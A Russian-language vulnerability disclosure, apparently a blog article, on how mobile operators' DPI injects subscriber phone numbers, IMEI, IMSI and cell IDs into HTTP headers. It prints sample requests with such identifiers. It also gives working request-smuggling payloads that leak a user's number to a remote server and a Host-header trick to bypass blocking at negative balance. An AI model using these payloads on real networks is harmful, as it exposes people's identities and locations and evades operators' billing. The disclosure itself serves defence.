DPI, или как контролируют ваш сетевой трафик
Системы глубокого анализа трафика (Deep Packet Inspection, DPI) — программно-аппаратные комплексы для классификации проходящего интернет-трафика по типу данных (веб-страница, документ, аудио, видео), протоколу (HTTP, BitTorrent, VoIP/SIP) и конкретным программам (Skype, WhatsApp), зачастую обладающие дополнительной функциональностью. Системы DPI распространены и используются по всему миру провайдерами проводного и беспроводного доступа.
Мобильные операторы используют системы глубокого анализа трафика, прежде всего, для приоритизации разного контента в интернете (QoS), чтобы можно было одновременно скачивать большой файл и смотреть видео на YouTube, и чтобы один пользователь сотовой сети, активно использующий интернет, не создавал проблем другим пользователям. Операторы используют DPI примерно с начала двухтысячных, с приходом UMTS (3G), чтобы более-менее честно разделять беспроводной канал ограниченной пропускной способности.
Мобильные операторы используют и другие возможности DPI, например, ускорение TCP и HTTP-трафика (TCP PEP, Performance-enhancing Proxy), для ускорения интернета в мобильных сетях и идентификации пользователей веб-сайтами. Если попытаться зайти в личный кабинет оператора с телефона, на многих операторах он откроется сразу, без необходимости ввода логина и пароля. Или, что можно было встретить лет 5 назад, простой заход на подозрительный веб-сайт или клик по рекламному баннеру из Android-игры оборачивался автоматической подпиской на платную услугу, о чем можно было узнать из СМС-сообщения.
Как это работает
Система глубокого анализа трафика настроена так, что добавляет служебные HTTP-заголовки при выполнении HTTP-запроса на сайты (хосты) из списка, определяемого оператором. В заголовках может содержаться внутренний IP-адрес абонента, номер телефона (MSISDN), IMEI и IMSI-идентификаторы, идентификатор базовой станции (вышки), к которой подключен абонент (ECI/TAC).
Особенные хосты
Мегафон
У Мегафона есть множество внутренних хостов, для которых DPI добавляет различные заголовки:
- welcome.megafonnw.ru добавляет заголовок X-MegaFon-IMSI с идентификатором SIM-карты (IMSI)
- wap.megafon.ru добавляет X-Megafon-IMEISV с идентификатором телефона (IMEI)
- id.megafon.ru раскрывает номера вышек, к которым подключен телефон в данный момент, в заголовках X-Megafon-TAC и X-Megafon-ECI
- Сайт конкретного региона (например, szfwp.megafon.ru) добавляет заголовок X-3GPP-USER-LOCATION-INFO
Также служебные заголовки добавляются для zg.megafon.ru, m.megafon.ru и igapi.megafon.ru.
GET / HTTP/1.1 Host: welcome.megafonnw.ru User-Agent: curl/7.51.0 Accept: */* X-MegaFon-IMSI: 250021075120189 X-NOKIA-MSISDN: 79319350195 ----- GET / HTTP/1.1 Host: wap.megafon.ru User-Agent: curl/7.51.0 Accept: */* X-3GPP-SGSN-MCC-MNC: 25002 X-MegaFon-APN: internet X-3GPP-SGSN-IP: 83.149.50.45 X-NOKIA-MSISDN: 79319350195 X-MegaFon-IP: 100.114.20.123 X-Megafon-IMEISV: 456745268125902 ----- GET / HTTP/1.1 Host: m.megafon.ru User-Agent: curl/7.51.0 Accept: */* X-NOKIA-MSISDN: 79319350195 X-3GPP-SGSN-MCC-MNC: 25002 ----- GET / HTTP/1.1 Host: id.megafon.ru User-Agent: curl/7.51.0 Accept: */* X-NOKIA-MSISDN: 79319350190 X-Megafon-TAC: 1FB1 X-Megafon-ECI: AB82375
Теле2
Существовали специальные хосты, в запросы на которые добавлялись служебные заголовки X-MSISDN и X-FORWARDED-FOR:
- login.tele2.ru
- market.tele2.ru
- oplata.tele2.ru
- play.tele2.ru
- wap.tele2.ru
- block.tele2.ru
Заголовок X-MSISDN содержал телефонный номер клиента Теле2. В заголовке X-FORWARDED-FOR находится внутренний IP-адрес клиента.
Tele2 использует DPI фирмы Ericsson. Его перенастроили в начале декабря, и эта проблема была устранена.
Пример запроса:
Beeline
DPI Beeline в HTTP-запросы на любой IP-адрес с заголовком Host: balance.beeline.ru добавляются служебные заголовки X-Nokia-msisdn и IMEI:
… X-Nokia-msisdn: 79650939376 IMEI: 49727069-021839-00
Хосты beeline.ru, www.beeline.ru, spb.beeline.ru не обрабатываются DPI, к ним разрешены соединения на основе IP-адреса, а не заголовка Host.
МТС
DPI МТС добавляет служебные заголовки к следующим хостам:
* 111.mts.ru:
X-MSISDN-1hIjUVLgCcdQ: 79118141234
SGSN-MCC-MNC: 25001
books.mts.ru:
- X-MSISDN: 79118141234
pda.mts.ru:
X-AQIC5wM2LY4SfcyEwLC5hS0e02r4: 79118141234
SGSN-MCC-MNC: 25001
- X-SGSN-IP: 193.27.231.49
h2o.mts.ru, interceptor.mts.ru, internet.mts.ru:
- X-MSISDN-B0kOoE2clldi: 79118141234
Особенности обработки пакетов
Прокси-сервер Теле2 добавляет следующие заголовки для HTTP/1.0-запроса пользователя, если они отсутствуют:
Accept-Encoding: gzip, deflate Accept: */*
И следующий заголовок в ответ сервера, если запрос был совершен по HTTP/1.1:
Transfer-Encoding: chunked
Ответ разбиваться на части (chunked-encoding) на стороне прокси.
Прокси буферизирует или не пропускает некоторые запросы, пока не дождется корректного ответа, и может разбивать большие пакеты на несколько маленьких. Ответ на GET-запрос придет только после того, как сервер начнет пересылку тела ответа. Ответ не дойдет до клиента, если сервер отправил только заголовки, без тела.
Данная особенность не распространяется на POST-запросы.
Если клиент отправил и HTTP-заголовки GET-запроса, и данные в одном пакете, они разобьются на два пакета прокси-сервером:
Клиент: >>> GET / HTTP/1.0\r\n Host: block.tele2.ru\r\n User-Agent: Firefox/50.0\r\n Connection: keep-alive\r\n \r\n testdata\r\n Сервер: <<< GET / HTTP/1.0\r\n X-MSISDN: 7950221xxxx\r\n X-FORWARDED-FOR: 10.26.xx.xxx\r\n Host: block.tele2.ru\r\n User-Agent: Firefox/50.0\r\n Connection: keep-alive\r\n Accept-Encoding: gzip, deflate\r\n Accept: */*\r\n \r\n <<< testdata\r\n
Данная особенность не распространяется на POST-запросы.
DPI Tele2, вероятнее всего, не сохраняет состояние соединений (stateless), и пытается искать HTTP-запрос в каждом новом TCP-сегменте, который отправляет клиент. Кроме того, запрос не обязательно должен начинаться с первого байта сегмента, а может быть разделен переносами строки. Например, следующий запрос является верным с точки зрения DPI:
\r\n \r\n \r\n \r\n GET / HTTP/1.0\r\n Host: ya.ru\r\n \r\n
Эту особенность можно было эксплуатировать через браузер, до тех пор, пока Tele2 не перенастроили DPI, и не ограничили служебные хосты диапазонами IP-адресов. Возможно создать такой POST-запрос типа multipart/form-data(отправка файлов), в теле которого будет заголовок нового HTTP-запроса, который DPI примет за новый запрос в рамках Keep-Alive-сессии и добавит служебные заголовки, и отправить его через браузер.
Пример запроса:
Клиент: >>> POST / HTTP/1.1 Host: myserver.com User-Agent: Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Type: multipart/form-data; boundary=---------------------------436459255605875969489380414 Content-Length: 497 -----------------------------436459255605875969489380414 Content-Disposition: form-data; name="filefile"; filename="tele2_post_test" Content-Type: application/octet-stream \r\n … \r\n GET / HTTP/1.0\r\n Host: login.tele2.ru\r\n User-Agent: Firefox/50.0 \r\n … \r\n ---------------------------436459255605875969489380414-- Сервер: <<< POST / HTTP/1.1 Host: myserver.com User-Agent: Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache Content-Type: multipart/form-data; boundary=---------------------------436459255605875969489380414 Content-Length: 497 -----------------------------436459255605875969489380414 Content-Disposition: form-data; name="filefile"; filename="tele2_post_test" Content-Type: application/octet-stream \r\n … \r\n X-MSISDN: 7952215xxxx\r\n X-FORWARDED-FOR: 10.23.xxx.xx\r\n \r\n … \r\n GET / HTTP/1.0\r\n Host: login.tele2.ru\r\n User-Agent: Firefox/50.0 \r\n … ---------------------------436459255605875969489380414--
Удаленный сервер получил номер пользователя. По всей видимости, это является серьезной недоработкой ПО Ericsson, и присуще не только Теле2.
DPI Билайна анализирует заголовки, сохраняет состояние HTTP-потока и замедляет или ограничивает передачу данных, если начинается нетипичная для HTTP процедура отправки, например, если клиент начинает пересылать большие потоки данных в теле GET-запроса (то, что после двойного \r\n, как если бы это был POST-запрос), или если сервер отправляет данных больше, чем указано в заголовке Content-Length. Требуется ответ на HTTP-запрос, иначе DPI не разрешит соединение.
У МТС не работает отправка больших данных в заголовках (видимо, производится проверка на длину заголовка и его значения).
Для МТС, чтобы отслеживание новых HTTP-запросов в пределах keep-alive сессии перестало работать, нужно отправить с сервера заголовки HTTP-ответа и тело HTTP-ответа отдельными пакетами, без указания Content-Length, и с заголовком Content-Type: application/octet-stream: в первом TCP-пакете передаются все заголовки, включая \r\n\r\n, а вторым и последующими пакетами — сами данные.
> GET / HTTP/1.0\r\n Host: pda.mts.ru\r\n \r\n < HTTP/1.0 200 OK\r\n Content-Type: application/octet-stream\r\n \r\n < ignore\r\n
Кроме того, в DPI МТС неправильно реализована обработка заголовков HTTP-запроса, и раскрытие номера телефона можно эксплуатировать из браузера. В запрос нужно добавить заголовок X-Host: pda.mts.ru с помощью Javascript, и «разрезать» запрос ровно так, чтобы в одном пакете осталось "X-", а другой начинался с "Host:". Сделать это можно манипуляцией TCP Window Size на стороне сервера.
Обход блокировки интернета
При отрицательном балансе и подключенной опции интернета, которая подразумевает блокировку доступа при исчерпании включенного пакета трафика, операторы перенаправляют все HTTP-запросы на свои собственные страницы-заглушки, расположенные, как правило, на поддоменах основного домена оператора. У МТС, Билайн и Мегафона проверка возможности доступа к сайту осуществляется путем сравнения HTTP-заголовка Host, проверка IP-адреса не выполняется. То же самое было у Теле2, до перенастройки DPI.
HTTP-запросы на любой IP-адрес и порт 80 с заголовком Host, указывающим на служебный домен, не расходуют трафик из пакета и работают даже при отрицательном балансе.
Эмпирическим путем было выяснено, что для установления двустороннего обмена и обхода блокировки достаточно отправить POST-запрос с большим значением Content-Length, а также включить Content-Length в ответ сервера:
Клиент: >>> POST / HTTP/1.0\r\n Host: %s\r\n User-Agent: Firefox/50.0\r\n Connection: keep-alive\r\n Content-Type: multipart/form-data; boundary=fbfbfb\r\n Content-Length: 999999999999\r\n \r\n Сервер должен ответить: >>> HTTP/1.0 200 OK\r\n Content-Length: 999999999999\r\n \r\n
После этого можно передавать произвольные (не-HTTP) данные в обе стороны.
Вывод
Любая программа, имеющая доступ в интернет на вашем телефоне с SIM Мегафон, может узнать ваше местоположение с точностью до базовой станции, номер телефона, идентификаторы IMEI и IMSI. С SIM МТС она может получить ваш номер телефона, идентификаторы IMEI и IMSI, а Билайн позволит раскрыть только номер телефона.
Веб-сайт злоумышленника, содержащий специальным образом сконструированный запрос, позволит раскрыть ваш номер телефона на МТС.
Также, не нужно забывать про уязвимости веб-сервисов мобильных операторов, не связанных с DPI: с Билайн любая программа может получить доступ в ваш личный кабинет, узнать оттуда ваш номер телефона, баланс, тариф, подключенные опции, и может управлять ими, а с МТС — узнать ваш номер телефона и баланс.
DPI может представлять опасность. Операторы неохотно идут на контакт и исправляют уязвимости.